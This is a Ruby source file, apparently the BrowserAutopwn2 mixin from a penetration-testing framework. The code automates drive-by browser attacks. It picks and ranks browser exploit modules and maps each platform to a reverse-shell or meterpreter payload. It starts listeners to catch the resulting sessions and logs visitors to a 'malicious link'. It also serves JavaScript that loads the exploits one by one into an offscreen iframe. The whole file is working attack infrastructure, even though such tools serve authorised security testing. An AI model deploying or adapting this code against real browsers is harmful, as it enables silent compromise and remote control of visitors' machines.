### # # The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn. # It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based # exploits to perform a faster and smarter automated client-side attack. # ### require 'date' module Msf module Exploit::Remote::BrowserAutopwn2 include Msf::Exploit::Remote::BrowserExploitServer # @return [Array] A list of initialized BAP exploits attr_reader :bap_exploits # @return [Array] A list of exploit job IDs attr_reader :exploit_job_ids # @return [Array] A list of payload job IDs attr_reader :payload_job_ids # @return [Array] Wanted payloads. attr_reader :wanted_payloads # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. # Firefox payloads use generic handlers. DEFAULT_PAYLOADS = { firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 }, android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 }, win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 }, linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 }, unix: { payload: 'cmd/unix/reverse', lport: 4446 }, osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 }, java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 }, generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 } } # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. All the usable exploits will be stored in #bap_exploits. # # @return [void] def init_exploits # First we're going to avoid using #find_all because that gets very slow. framework.exploits.each_pair do |fullname, place_holder| # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, # and that's gotta be the active browser autopwn. next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" # The user gets to specify which modules to include/exclude next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN'] next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN'] mod = framework.exploits.create(fullname) unless mod print_status("Failed to load: #{fullname}") next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) @bap_exploits << mod end end end # Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid). # This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP # and all of its child exploits can share target information with each other. If BAP is active # but there are other standalone BES exploits running, this allows them not to use (or cleanup) # each other's data. Also, once requested, the method will not generate another profile prefix # again, it will just return whatever's been stored in the @browser_profile_prefix instance variable. # # @return [String] def browser_profile_prefix @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}" end # Removes background exploit jobs that belong to BAP. # # @return [void] def rm_exploit_jobs exploit_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] sleep(0.1) end end # Removes background payload jobs that belong to BAP. # # @return [void] def rm_payload_jobs payload_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] end end # Cleans up everything such as profiles and jobs. # # @see #rm_exploit_jobs The method for cleaning up jobs. # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information. # @return [void] def cleanup print_status("Cleaning up jobs...") super configure_job_output(false) clear_browser_profiles rm_exploit_jobs rm_payload_jobs end # Modifies an exploit's default datastore options. Some of them are user-configurable, # some must be defined by BAP. # # @return [void] def set_exploit_options(xploit) # We could do a massive xploit.datastore.merge!(self.datastore), but this seems # really expensive. Costs more loading time. # Set options configurable by the user. p = select_payload(xploit) xploit.datastore['PAYLOAD'] = p.first[:payload_name] xploit.datastore['LPORT'] = p.first[:payload_lport] xploit.datastore['SRVHOST'] = datastore['SRVHOST'] xploit.datastore['SRVPORT'] = datastore['SRVPORT'] xploit.datastore['LHOST'] = get_payload_lhost %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt| xploit.datastore[opt] = datastore[opt] if datastore[opt] end # Set options only configurable by BAP. xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" xploit.datastore['WORKSPACE'] = self.workspace # Register this module as a child and copy datastore options xploit.register_parent(self) end # Checks if a resource is already taken or not. # # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. def is_resource_taken?(resource) taken = false bap_exploits.each do |m| # Prevent partial matching of one resource within another next unless m.datastore['URIPATH'] return true if m.datastore['URIPATH'].index(resource) return true if resource.index(m.datastore['URIPATH']) end taken end # Returns a unique resource path. # # @return [String] A unique resource path. def assign_module_resource resource = '' while resource = Rex::Text.rand_text_alpha(rand(10) + 4) break unless is_resource_taken?(resource) end resource end # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. # This method is part of what makes BAP smarter. However, the list rearranged by this exploit # will not actually be the same exploit list served to every client. When a client a request, # #get_suitable_exploits will generate another list that will actually be used by the client # by going through what we have here, and filter out all the exploit modules that don't match # the target's requirements. # # @see #bap_exploits The read-only attribute. # @see #sort_date_in_group The method for sorting by disclosure date # @see #sort_group_by_rank The method for sorting by rank # @see #sort_bap_modules The method for breaking the module list into groups # @see #finalize_sorted_modules The method for finalizing bap_exploits # @see #get_suitable_exploits # @return [void] def sort_bap_exploits bap_groups = group_bap_modules bap_groups = sort_date_in_group(bap_groups) bap_groups = sort_group_by_rank(bap_groups) finalize_sorted_modules(bap_groups) end # Sorts a grouped module list by disclosure date. # # @param bap_groups [Hash] A grouped module list. # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| bap_groups[ranking] = module_list.sort_by {|m| dstr = m.disclosure_date || "1970-01-01" Date.parse(dstr) rescue Date.parse("1970-01-01") }.reverse end end # Sorts a module list by ranking. # # @param bap_groups [Hash] A grouped module list. # @return [Hash] A hash grouped by ranking. def sort_group_by_rank(bap_groups) Hash[bap_groups.sort_by {|k,v| k}.reverse] end # Breaks @bap_exploits into groups for sorting purposes. # # @see #bap_exploits # @return [Hash] A module list grouped by rank. def group_bap_modules bap_groups = {} RankingName.each_pair do |ranking, value| bap_groups[ranking] = [] bap_exploits.each do |m| next if m.rank != ranking bap_groups[ranking] << m end end bap_groups end # Modifies @bap_exploit by replacing it with the rearranged module list. # # @see #bap_exploits The read-only attribute. # @param bap_groups [Hash] A grouped module list. # @return [void] def finalize_sorted_modules(bap_groups) @bap_exploits = [] bap_groups.each_pair do |ranking, module_list| module_list.each do |m| break if @bap_exploits.length >= datastore['MaxExploitCount'] @bap_exploits << m end end end # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # # @see DEFAULT_PAYLOADS The default settings. # @param platform [Symbol] Platform name. # @return [String] Payload name. def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"] # The payload is legit, we can use it. # Avoid #create seems faster return payload_name if framework.payloads.keys.include?(payload_name) default = DEFAULT_PAYLOADS[platform][:payload] # The user has configured some unknown payload that we can't use, # fall back to default. default end # Returns the selected payload's LPORT. # # @param platform [Symbol] # @return [Integer] def get_selected_payload_lport(platform) datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] end # Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option), # then the method automatically generates one by Rex. # # @return [String] def get_payload_lhost datastore['LHOST'] || Rex::Socket.source_address end # Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that # we know how to find them and then clean them up. # # @note FireFox payload is skipped because there's no handler for it. # @see #payload_job_ids # @return [void] def start_payload_listeners # Spawn nothing if the user doesn't want to pop sessions. return if datastore['MaxSessionCount'] == 0 # Don't repeat launching payload handlers wanted_payloads.uniq! { |e| e[:payload_name] } wanted_payloads.each do |wanted| multi_handler = framework.exploits.create('multi/handler') # We have to special case firefox payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] # User-configurable options # multi_handler.datastore.merge!(self.datastore) could be used, but # really expensive. Costs more loading time. multi_handler.datastore['LHOST'] = get_payload_lhost multi_handler.datastore['PAYLOAD'] = payload_name multi_handler.datastore['LPORT'] = wanted[:payload_lport] %w(DebugOptions PrependMigrate PrependMigrateProc InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait SessionExpirationTimeout SessionCommunicationTimeout).each do |opt| multi_handler.datastore[opt] = datastore[opt] if datastore[opt] end # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' multi_handler.datastore['WORKSPACE'] = self.workspace # Register this module as a child and copy datastore options multi_handler.register_parent(self) # Now we're ready to start the handler multi_handler.exploit_simple( 'LocalInput' => nil, 'LocalOutput' => nil, 'Payload' => payload_name, 'RunAsJob' => true ) @payload_job_ids << multi_handler.job_id end end # Returns the human-readable version of the rank. # # @param rank [Integer] # @return [String] def parse_rank(rank) RankingName[rank].to_s.capitalize end # Checks whether the payload is compatible with the module based on platform information. # Best for single-platform modules and for performance. # # @param m [Object] Module. # @param payload_platform [Symbol] Payload platform. # @return [TrueClass] Payload is compatible. # @return [FalseClass] Payload is not compatible. def is_payload_platform_compatible?(m, payload_platform) begin platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s) rescue ArgumentError false end return true if platform_obj && m.platform.platforms.include?(platform_obj) false end # Checks whether the payload is compatible with the module based on the module's compatibility list # # @param compatible_payloads [Array] A list of payloads that are compatible # @param payload_name [String] # @return [TrueClass] Payload is compatible. # @return [FalseClass] Payload is not compatible. def is_payload_compatible?(compatible_payloads, payload_name) compatible_payloads.each do |k| return true if k[0] == payload_name end false end # Checks if the module is multi-platform based on the directory path. # # @param m [Object] Module. # @return [TrueClass] is multi-platform. # @return [FalseClass] is not multi-platform. def is_multi_platform_exploit?(m) m.fullname.include?('multi/') end # Returns an appropriate payload that's compatible with the module. # # @param m [Object] A module that's been initialized. # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) compatible_payloads = [] module_payloads = nil DEFAULT_PAYLOADS.each_pair do |platform, info| payload_choice = { :payload_name => get_selected_payload_name(platform), :payload_lport => get_selected_payload_lport(platform) } if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform) compatible_payloads << payload_choice break else # The #compatible_payloads method is super expensive (slow). By doing it this way, # I managed to shave off seconds. module_payloads ||= m.compatible_payloads if is_payload_compatible?(module_payloads, payload_choice[:payload_name]) compatible_payloads << payload_choice end end end @wanted_payloads.concat(compatible_payloads) compatible_payloads end # Starts exploits. # # @return [void] def start_exploits bap_exploits.each do |m| set_exploit_options(m) m.exploit_simple( 'LocalInput' => nil, 'LocalOutput' => nil, 'Quiet' => true, 'Target' => 0, 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true ) @exploit_job_ids << m.job_id end end # Sets up BAPv2. This is like our main function. # # @return [void] def setup t1 = Time.now super @bap_exploits = [] @exploit_job_ids = [] @payload_job_ids = [] @wanted_payloads = [] # #split might be expensive if the file is really big @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits print_status("Starting exploit modules...") start_exploits print_status("Starting listeners...") start_payload_listeners t2 = Time.now print_status("Time spent: #{(t2-t1).inspect}") configure_job_output(true) end # Configures the output of sub-jobs # # @return [void] def configure_job_output(on=true) (@exploit_job_ids + @payload_job_ids).each do |jid| job = framework.jobs[jid.to_s] next unless job job.ctx.each do |m| next unless m.respond_to? :user_output m.user_output = on ? self.user_output : nil break end end end # Prints all the exploits that BAP will consider using. But this isn't the actual list of # exploits that BAP will use for each target. # # @return [void] def show_ready_exploits columns = ['Order', 'Rank', 'Name', 'Path', 'Payload'] # If not verbose, you're not in dev mode. # As an user, you shouldn't be using any of these paths anyway. columns.delete('Path') if !datastore['VERBOSE'] table = Rex::Text::Table.new( 'Header' => 'Exploits', 'Indent' => 1, 'Columns' => columns ) # Without the order, sometimes the Rex table messes up even though in the array # the order looks right. So don't get rid of this. order = 1 bap_exploits.each do |m| row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" table << row order += 1 end print_line print_status("The following is a list of exploits that BrowserAutoPwn will consider using.") print_status("Exploits with the highest ranking and newest will be tried first.") print_line print_line table.to_s end # Prints information such as what exploits will be used, and the BAP URL. # # @return [void] def start_service super show_ready_exploits proto = (datastore['SSL'] ? "https" : "http") if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' srvhost = datastore['URIHOST'] elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' srvhost = datastore['SRVHOST'] else srvhost = Rex::Socket.source_address end if datastore['URIPORT'] && datastore['URIPORT'] != 0 srvport = datastore['URIPORT'] else srvport = datastore['SRVPORT'] end service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" print_good("Please use the following URL for the browser attack:") print_good("BrowserAutoPwn URL: #{service_uri}") end # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits # gives us. It will do a global exploitable requirement check (the best it can do). There's # actually a target-specific exploitable requirement check too, but that is performed in # BrowserExploitServer while the exploit is being served. In other words, it is possible # #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the # exploit dev accurately defines his/her global requirements), but the exploit always has a # choice to bail at the last second if it decides it is actually not suitable for the client. # That way we don't risk being too wreckless with our attack. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Array] def get_suitable_exploits(cli, request) current_exploit_list = [] tag = retrieve_tag(cli, request) profile_info = browser_profile[tag] bap_exploits.each do |m| if m.get_bad_requirements(profile_info).empty? current_exploit_list << m end end if datastore['ShowExploitList'] show_exploit_list(cli.peerhost, tag, current_exploit_list) end current_exploit_list end # Logs a click that includes the suitable exploit list. # # @param ip [String] The target's IP address. # @param data [String] (Optional) CSV data that contains the exploit list. # @return [void] def log_click(ip, data='') report_note( :host => ip, :type => 'bap.clicks', :data => data, :update => :unique) end # Prints a list of suitable exploits for the current list. # # @see #sort_bap_exploits Explains how the exploit list is generated at first. # @see #get_suitable_exploits Explains how we serve exploits to each client. # @return [void] def show_exploit_list(ip, tag, current_exploit_list) order = 1 table = Rex::Text::Table.new( 'Header' => '', 'Indent' => 1, 'Columns' => ['Order', 'IP', 'Exploit'] ) current_exploit_list.each do |m| table << [order, ip, m.shortname] order += 1 end if table.rows.empty? print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.") else # Update the exploit list data log_click(cli.peerhost, table.to_csv) print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") end end # Returns a list of exploit URLs. This is used by #build_html so the client can load our # exploits one by one. # # @see #build_html # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Array] def get_exploit_urls(cli, request) urls = [] exploit_list = get_suitable_exploits(cli, request) exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' # We haven't URIHOST and URIPORT into account here because # the framework uses them only on `get_uri` host = '' if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' host = datastore['URIHOST'] elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' host = datastore['SRVHOST'] else host = Rex::Socket.source_address end if datastore['URIPORT'] && datastore['URIPORT'] != 0 port = datastore['URIPORT'] else port = datastore['SRVPORT'] end resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" urls << url end urls end # Handles client requests specific for BAP. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [void] def on_request_uri(cli, request) # Check if target is on our whitelist if @whitelist && !is_ip_targeted?(cli.peerhost) print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.") send_not_found(cli) return end log_click(cli.peerhost) super end # Returns true if the IP is on our whitelist. # # @param [String] cli_ip Client's IP. # @return [TrueClass] The IP is on the whitelist. # @return [FalseClass] The IP is not on the whitelist. def is_ip_targeted?(cli_ip) return true unless @whitelist @whitelist.include?(cli_ip) end # Returns a number of sessions obtained by BAP's payload handlers. # # @return [Integer] A session count. def session_count total = 0 payload_job_ids.each do |id| job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE'] if job_workspace == self.workspace total += framework.jobs[id.to_s].ctx.first.session_count end end total end # Returns the custom 404 URL set by the user # # @return [String] def get_custom_404_url datastore['Custom404'].to_s end # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [String] HTML def build_html(cli, request) exploit_list = get_exploit_urls(cli, request) if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount'] print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}") if datastore['HTMLContent'].blank? send_not_found(cli) return '' else return datastore['HTMLContent'] end elsif exploit_list.empty? print_status("No suitable exploits to send for #{cli.peerhost}") if datastore['HTMLContent'].blank? send_not_found(cli) return '' else return datastore['HTMLContent'] end end # Some Flash exploits don't seem to work well with a hidden iframe. js = %Q| var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; function setElementStyle(e, opts) { if (typeof e.style.setAttribute == 'undefined') { var attributeString = ''; for (var key in opts) { attributeString += key + ":" + opts[key] + ";" } e.setAttribute("style", attributeString); } else { for (var key in opts) { e.style.setAttribute(key, opts[key]); } } } function moveIframe(e) { var opts = { 'position': 'absolute', 'left': screen.width * -screen.width } setElementStyle(e, opts); } window.onload = function() { var e = document.createElement("iframe"); e.setAttribute("id", "myiframe"); moveIframe(e); document.body.appendChild(e); loadExploit(); } function loadExploit() { var e = document.getElementById("myiframe"); var firstUri = exploitList.splice(0, 1); if (firstUri != '') { e.setAttribute("src", firstUri); setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']}); } } | %Q| #{datastore['HTMLContent']}| end end end